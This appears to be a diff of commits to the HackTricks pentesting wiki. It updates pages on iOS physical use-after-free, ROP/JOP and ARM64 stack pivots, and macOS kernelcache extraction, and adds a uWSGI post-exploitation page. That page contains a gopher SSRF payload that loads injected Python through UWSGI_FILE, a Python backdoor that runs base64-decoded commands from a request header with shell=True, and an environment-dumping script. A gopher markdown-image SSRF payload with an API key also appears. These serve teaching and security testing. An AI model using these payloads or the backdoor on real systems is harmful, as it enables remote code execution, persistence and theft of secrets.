p.interactive() + return + elif b"safe_cb() called" in response: + log.info(f"Failed with extra_pad={extra}, safe_cb was called") + else: + log.info(f"Failed with extra_pad={extra}, unexpected response") + except: + log.info(f"Failed with extra_pad={extra}, likely crashed") + + p.close() + + log.failure("All padding attempts failed. The heap layout might be different.") + log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': + main() +``` + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md similarity index 66% rename from src/binary-exploitation/ios-exploiting.md rename to src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index 64bd37c73..6b336435f 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -1,19 +1,6 @@ -# iOS Exploiting +# iOS Physical Use-After-Free via IOSurface -{{#include ../banners/hacktricks-training.md}} - -## iOS Exploit Mitigations - -- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. - - **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. -- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). -- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. -- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. -- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash. -- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. -- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. -- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. -- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. +{{#include ../../banners/hacktricks-training.md}} ## Physical use-after-free @@ -80,7 +67,7 @@ A **physical use-after-free** (UAF) occurs when: This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. -### Exploitation Strategy: Heap Spray +### IOSurface Heap Spray Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: @@ -91,6 +78,13 @@ Since the attacker can’t control which specific kernel pages will be allocated More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +> [!TIP] +> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable. +> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked. +> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks. +> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on. +> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions. + ### Step-by-Step Heap Spray Process 1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). @@ -226,5 +220,4 @@ void iosurface_kwrite64(uint64_t addr, uint64_t value) { With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). - -{{#include ../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index e484f4887..ffb8b05d6 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -1,4 +1,4 @@ -# ROP - Return Oriented Programing +# ROP & JOP {{#include ../../banners/hacktricks-training.md}} @@ -146,18 +146,149 @@ In this example: > [!TIP] > Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). -## ROP chain in ARM64 Example - -### **ARM64 Basics & Calling conventions** - -Check the following page for this information: +## ROP chain in ARM64 +Regarding **ARM64 Basics & Calling conventions**, check the following page for this information: {{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Protections Against ROP +> [!DANGER] +> It's important to notice taht when jumping to a function using a ROP in **ARM64** you should jump to the 2nd instruction of the funciton (at least) to prevent storing in the stack the current stack pointer and end up in an eternal loop calling the funciton once and again. + +### Finding gadgets in system Dylds + +The system libraries comes compiled in one single file called **dyld_shared_cache_arm64**. This file contains all the system libraries in a compressed format. To download this file from the mobile device you can do: + +```bash +scp [-J ] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 . +# -Use -J if connecting through Corellium via Quick Connect +``` + +Then, you cna use a couple of tools to extract the actual libraries from the dyld_shared_cache_arm64 file: + +- [https://github.com/keith/dyld-shared-cache-extractor](https://github.com/keith/dyld-shared-cache-extractor) +- [https://github.com/arandomdev/DyldExtractor](https://github.com/arandomdev/DyldExtractor) + +```bash +brew install keith/formulae/dyld-shared-cache-extractor +dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted +``` + +Now, in order to find interesting gadgets for the binary you are exploiting, you first need to know which libraries are loaded by the binary. You can use *lldb** for this: + +```bash +lldb ./vuln +br s -n main +run +image list +``` + +Finally, you can use [**Ropper**](https://github.com/sashs/ropper) to find gadgets in the libraries you are interested in: + +```bash +# Install +python3 -m pip install ropper --break-system-packages +ropper --file libcache.dylib --search "mov x0" +``` + +## JOP - Jump Oriented Programming + +JOP is a similar technique to ROP, but each gadget, instead of using a RET instruction ad the end of the gadget, **it uses jump addresses**. This can be particularly useful in situations where ROP is not feasible, such as when there are no suitable gadgets available. This is commonly used in **ARM** architectures where the `ret` instruction is not as commonly used as in x86/x64 architectures. + +You can use **`rop`** tools to find JOP gadgets also, for example: + +```bash +cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64 +ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0 +``` + +Let's see an example: + +- There is a **heap overflow that allows us to overwrite a function pointer** stored in the heap that will be called. + - **`x0`** is pointing to the heap where we control some space + +- From the loaded system libraries we find the following gadgets: + +``` +0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2; +0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3; +``` + +- We can use the first gadget to load **`x0`** with a pointer to **`/bin/sh`** (stored in the heap) and then load **`x2`** from **`x0 + 0x30`** with the address of **`system`** and jump to it. + +## Stack Pivot + +Stack pivoting is a technique used in exploitation to change the stack pointer (`RSP` in x64, `SP` in ARM64) to point to a controlled area of memory, such as the heap or a buffer on the stack, where the attacker can place their payload (usually a ROP/JOP chain). + +Examples of Stack Pivoting chains: + +- Example just 1 gadget: + +``` +mov sp, x0; ldp x29, x30, [sp], #0x10; ret; + +The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`. +``` + +``` +I found this gadget in libunwind.dylib +If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack. + +0000001c61a9b9c: + ldr x16, [x0, #0xf8]; // Control x16 + ldr x30, [x0, #0x100]; // Control x30 + ldp x0, x1, [x0]; // Control x1 + mov sp, x16; // Control sp + ret; // ret will jump to x30, which we control + +To use this gadget you could use in the heap something like: +
# ldp x0, x1, [x0] +
# Let's suppose this is the overflowed pointer that allows to call the ROP chain + "A" * 0xe8 (0xf8-16) # Fill until x0+0xf8 +
# Lets point SP to x0+16 to control the stack + # This will go into x30, which will be called with ret (so add of 2nd gadget) +``` + +- Example multiple gadgets: + +``` +// G1: Typical PAC epilogue that restores frame and returns +// (seen in many leaf/non-leaf functions) +G1: + ldp x29, x30, [sp], #0x10 // restore FP/LR + autiasp // **PAC check on LR** + retab // **PAC-aware return** + +// G2: Small helper that (dangerously) moves SP from FP +// (appears in some hand-written helpers / stubs; good to grep for) +G2: + mov sp, x29 // **pivot candidate** + ret + +// G3: Reader on the new stack (common prologue/epilogue shape) +G3: + ldp x0, x1, [sp], #0x10 // consume args from "new" stack + ret +``` + +``` +G1: + stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled) + ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2) + blr x8 // Branch to the address in x8 (controlled by attacker) + +G2: + ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3 + ret +G3: + mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap + ret +``` + + +## Protections Against ROP and JOP - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. - [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain @@ -195,6 +326,7 @@ rop-syscall-execv/ - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- [https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html](https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index 52a250b0c..d06d55311 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -135,7 +135,6 @@ Also in ARM64 an instruction does what the instruction does (it's not possible t Check the example from: - {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index b251b9035..fabe4561e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -29,9 +29,7 @@ clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` -### Find offset - -### x30 offset +### Find offset - x30 offset Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index b65bde194..5baafa777 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -94,6 +94,8 @@ In my case in macOS I found it in: - `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache` +Find also here the [**kernelcache of version 14 with symbols**](https://x.com/tihmstar/status/1295814618242318337?lang=en). + #### IMG4 The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it. @@ -137,7 +139,24 @@ nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files. -To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. +To **extract** the kernel cache you can do: + +```bash +# Install ipsw tool +brew install blacktop/tap/ipsw + +# Extract only the kernelcache from the IPSW +ipsw extract --kernel /path/to/YourFirmware.ipsw -o out/ + +# You should get something like: +# out/Firmware/kernelcache.release.iPhoneXX +# or an IMG4 payload: out/Firmware/kernelcache.release.iPhoneXX.im4p + +# If you get an IMG4 payload: +ipsw img4 im4p extract out/Firmware/kernelcache*.im4p -o kcache.raw +``` + +Another option to **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it. After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with: @@ -153,6 +172,16 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e ``` +```bash +pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e +``` + +[**img4tool**](https://github.com/tihmstar/img4tool)**:** + +```bash +img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e +``` + ### Inspecting kernelcache Check if the kernelcache has symbols with diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md index bda3e8dcf..804c0c260 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md @@ -22,7 +22,7 @@ Port rights, which define what operations a task can perform, are key to this co - **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. - - If the owner of the Receive right **dies** or kills it, the **send right became useless (dead name).** + - If the owner of the Receive right **dies** or kills it, the **send right becomes useless (dead name).** - **Send right**, which allows sending messages to the port. - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. - Note that **port rights** can also be **passed** though Mac messages. diff --git a/src/network-services-pentesting/pentesting-web/wsgi.md b/src/network-services-pentesting/pentesting-web/wsgi.md new file mode 100644 index 000000000..c14e80b9d --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/wsgi.md @@ -0,0 +1,179 @@ +# WSGI Post-Exploitation Tricks + +{{#include ../../banners/hacktricks-training.md}} + +## WSGI Overview + +Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications. + +## uWSGI Magic Variables Exploitation + +uWSGI provides special "magic variables" that can be used to dynamically configure the server behavior. These variables can be set through HTTP headers and may lead to serious security vulnerabilities when not properly validated. + +### Key Exploitable Variables + +#### `UWSGI_FILE` - Arbitrary File Execution + +``` +uwsgi_param UWSGI_FILE /path/to/python/file.py; +``` +This variable allows loading and executing arbitrary Python files as WSGI applications. If an attacker can control this parameter, they can achieve Remote Code Execution (RCE). + +#### `UWSGI_SCRIPT` - Script Loading +``` +uwsgi_param UWSGI_SCRIPT module.path:callable; +uwsgi_param SCRIPT_NAME /endpoint; +``` +Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE. + +#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading +``` +uwsgi_param UWSGI_MODULE malicious.module; +uwsgi_param UWSGI_CALLABLE evil_function; +uwsgi_param SCRIPT_NAME /backdoor; +``` +These parameters allow loading arbitrary Python modules and calling specific functions within them. + +#### `UWSGI_SETENV` - Environment Variable Manipulation +``` +uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings; +``` +Can be used to modify environment variables, potentially affecting application behavior or loading malicious configuration. + +#### `UWSGI_PYHOME` - Python Environment Manipulation +``` +uwsgi_param UWSGI_PYHOME /path/to/malicious/venv; +``` +Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters. + +#### `UWSGI_CHDIR` - Directory Traversal +``` +uwsgi_param UWSGI_CHDIR /etc/; +``` +Changes the working directory before processing requests, which can be used for path traversal attacks. + +## SSRF + Gopher to + +### The Attack Vector + +When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when: + +1. The application has SSRF vulnerabilities +2. uWSGI is running on an internal port/socket +3. The application doesn't properly validate magic variables + +uWSGI is accessible due to SSRF because the config file `uwsgi.ini` contains: `socket = 127.0.0.1:5000` making it accessible from the web application through SSRF. + +### Exploitation Example + +#### Step 1: Create Malicious Payload +First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter): +```python +# Payload injected into a JSON profile file +import os +os.system("/readflag > /app/profiles/result.json") +``` + +#### Step 2: Craft uWSGI Protocol Request +Use Gopher protocol to send raw uWSGI packets: +``` +gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json +``` + +This payload: +- Connects to uWSGI on port 5000 +- Sets `UWSGI_FILE` to point to the malicious file +- Forces uWSGI to load and execute the Python code + +### uWSGI Protocol Structure + +The uWSGI protocol uses a binary format where: +- Variables are encoded as length-prefixed strings +- Each variable has: `[name_length][name][value_length][value]` +- The packet starts with a header containing the total size + +## Post-Exploitation Techniques + +### 1. Persistent Backdoors + +#### File-based Backdoor +```python +# backdoor.py +import subprocess +import base64 + +def application(environ, start_response): + cmd = environ.get('HTTP_X_CMD', '') + if cmd: + result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True) + response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" + else: + response = "Backdoor active" + + start_response('200 OK', [('Content-Type', 'text/plain')]) + return [response.encode()] +``` + +Then use `UWSGI_FILE` to load this backdoor: +``` +uwsgi_param UWSGI_FILE /tmp/backdoor.py; +uwsgi_param SCRIPT_NAME /admin; +``` + +#### Environment-based Persistence +``` +uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages; +``` + +### 2. Information Disclosure + +#### Environment Variable Dumping +```python +# env_dump.py +import os +import json + +def application(environ, start_response): + env_data = { + 'os_environ': dict(os.environ), + 'wsgi_environ': dict(environ) + } + + start_response('200 OK', [('Content-Type', 'application/json')]) + return [json.dumps(env_data, indent=2).encode()] +``` + +#### File System Access +Use `UWSGI_CHDIR` combined with file serving to access sensitive files: +``` +uwsgi_param UWSGI_CHDIR /etc/; +uwsgi_param UWSGI_FILE /app/file_server.py; +``` + +### 3. Privilege Escalation + +#### Socket Manipulation +If uWSGI runs with elevated privileges, attackers might manipulate socket permissions: +``` +uwsgi_param UWSGI_CHDIR /tmp; +uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data; +``` + +#### Configuration Override +```python +# malicious_config.py +import os + +# Override uWSGI configuration +os.environ['UWSGI_MASTER'] = '1' +os.environ['UWSGI_PROCESSES'] = '1' +os.environ['UWSGI_CHEAPER'] = '1' +``` + +## References + +- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html) +- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata) +- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dapps-DecentralizedApplications.md b/src/pentesting-web/dapps-DecentralizedApplications.md index 21626d3b2..01c8d7d1c 100644 --- a/src/pentesting-web/dapps-DecentralizedApplications.md +++ b/src/pentesting-web/dapps-DecentralizedApplications.md @@ -54,11 +54,11 @@ Some examples from [**this post**](https://www.certik.com/resources/blog/web2-me ### Wasting Funds: Forcing backend to perform transactions -In the scenario **`Wasted Crypto in Gas via Unrestricted API`**, the attacke can force the backend to call functions of a smart contract that will consume gas. The attacker, just sending an ETH account number and with no limits, will force backend to call the smart contrat to register it, which will consume gas. +In the scenario **`Wasted Crypto in Gas via Unrestricted API`**, the attacker can force the backend to call functions of a smart contract that will consume gas. The attacker, just sending an ETH account number and with no limits, will force backend to call the smart contract to register it, which will consume gas. ### DoS: Poor transaction handling time -In the scenario **`Poor Transaction Time Handling Leads to DoS`**, is explained that because the backend will the HTTP request open until a transaction is performed, a user can easly send several HTTP requests to the backend, which will consume all the resources of the backend and will lead to a DoS. +In the scenario **`Poor Transaction Time Handling Leads to DoS`**, is explained that because the backend will the HTTP request open until a transaction is performed, a user can easily send several HTTP requests to the backend, which will consume all the resources of the backend and will lead to a DoS. ### Backend<-->Blockchain desync - Race condition diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index 824765c2f..06772930a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -90,6 +90,14 @@ Payloads example: ``` +### Gopher + +Use gopher to send arbitrary requests to internal services with arbitrary data: + +``` +![pwn](gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1:1337%0D%0Ax-api-key:%20934caf984a4ca94817ead87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A) +``` + ### Fuzzing ```html From 382820ec3854a21067b80f80421bfbfc603db284 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Mon, 29 Sep 2025 10:55:51 +0200 Subject: [PATCH 38/40] f --- .../ios-exploiting/ios-physical-uaf-iosurface.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index 6b336435f..c11a5df20 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -1,4 +1,4 @@ -# iOS Physical Use-After-Free via IOSurface +# iOS Physical Use After Free via IOSurface {{#include ../../banners/hacktricks-training.md}} From 3f01d2da435eb8142beb7c7ae2f11732a4ffcf5f Mon Sep 17 00:00:00 2001 From: carlospolop Date: Mon, 29 Sep 2025 11:33:02 +0200 Subject: [PATCH 39/40] fix preprocessor --- hacktricks-preprocessor.py | 42 ++++++++++++++++++++++++++------------ 1 file changed, 29 insertions(+), 13 deletions(-) diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 0165a854a..c525f665d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) logger.addHandler(handler2) -def findtitle(search ,obj, key, path=(),): +def findtitle(search, obj, key, path=()): # logger.debug(f"Looking for {search} in {path}") if isinstance(obj, dict) and key in obj and obj[key] == search: return obj, path @@ -54,26 +54,42 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: - chapter, _path = findtitle(href.split("#")[0], book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(href.split("#")[0], book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for path: {href.split('#')[0]}") else: - chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter["name"]}') - title = chapter['name'] + result = findtitle(href, book, "source_path") + if result is not None: + chapter, _path = result + logger.debug(f'Recursive title search result: {chapter["name"]}') + title = chapter['name'] + else: + raise Exception(f"Chapter not found for path: {href}") except Exception as e: dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") else: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = chapter["name"] - logger.debug(f'Recursive title search result: {chapter["name"]}') + result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") + if result is not None: + chapter, _path = result + title = chapter["name"] + logger.debug(f'Recursive title search result: {chapter["name"]}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") except Exception as e: logger.debug(e) logger.error(f'Error getting chapter title: {rel_path}') From ed5ccaa44c5566a81e5f70e898192fe3548c69ab Mon Sep 17 00:00:00 2001 From: carlospolop Date: Mon, 29 Sep 2025 12:55:13 +0200 Subject: [PATCH 40/40] f --- src/SUMMARY.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d4104d430..abe382dcf 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - 